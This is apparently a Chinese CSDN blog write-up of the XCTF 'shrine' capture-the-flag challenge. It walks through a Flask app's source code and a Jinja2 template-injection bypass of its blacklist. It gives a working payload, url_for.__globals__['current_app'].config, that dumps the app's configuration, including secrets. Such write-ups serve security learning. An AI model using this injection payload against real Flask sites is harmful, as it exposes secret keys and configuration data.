攻防世界 shrine -wp

博客主要介绍了攻防世界中关于Shrine-WP的解题过程,强调对Flask框架的理解至关重要。内容涉及源代码查看、URL过滤机制以及如何利用全局变量current_app来绕过黑名单,获取config信息,从而完成挑战。
摘要由CSDN通过智能技术生成

打开网址就是一堆代码
右击查看源代码方面看些


import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

这道题要求对flask框架有一定了解
接下来分析一下代码

@app.route('/')
def index():
    return open(__file__).read()

这里定义index,路径为根目录,作用就是展示那些源代码给我们看的

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))
    

这里的路径为shrime,发现有一个过滤,无法通过小括号,过滤黑名单里的东西

最后是一个渲染模板的函数
app.config[‘FLAG’] = os.environ.pop(‘FLAG’)
flag在config文件里
如果没有黑名单的时候,我们可以传入 config,或者传入{{self._dict_}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙逃逸的方法,来调用被禁用的函数对象。
在shrine路径下使用{{url_for.__globlas__}}查看一下
在这里插入图片描述可以看到有current_app,这是全局变量代理,查看他的config即可

payload:shrine/{{url_for.__globals__['current_app'].config}}

在这里插入图片描述对于为什么可以传config未被黑名单禁掉,个人的理解是它这里是通过全局变量来调用函数了,没有经过定义的函数(理解错了勿喷,本人比较菜,欢迎各位大佬斧正)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值